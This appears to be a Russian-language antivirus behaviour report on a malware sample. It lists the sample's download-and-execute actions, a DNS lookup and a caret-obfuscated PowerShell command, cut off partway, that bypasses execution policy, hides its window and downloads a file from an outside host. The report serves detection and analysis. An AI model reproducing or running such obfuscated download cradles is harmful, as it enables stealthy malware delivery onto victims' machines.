Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://transporingsytw.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PO^We^R^SHe^l^L^.exe -EXE^C^Uti^O^n^PolI^cY^ BYPaSS -NoPr^o^fiLe -w^InD^OW^stY^Le HIdd^EN^ ^(NE^w^-o^bJec^t^ SystEm.n^Et.^wEBc^l^i^e^nT).Downloa^D^FILe('http://transpori...
Сетевая активность
UDP
- DNS ASK tr#####ringsytw.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PO^We^R^SHe^l^L^.exe -EXE^C^Uti^O^n^PolI^cY^ BYPaSS -NoPr^o^fiLe -w^InD^OW^stY^Le HIdd^EN^ ^(NE^w^-o^bJec^t^ SystEm.n^Et.^wEBc^l^i^e^nT).Downloa^D^FILe('http://transpori...' (со скрытым окном)
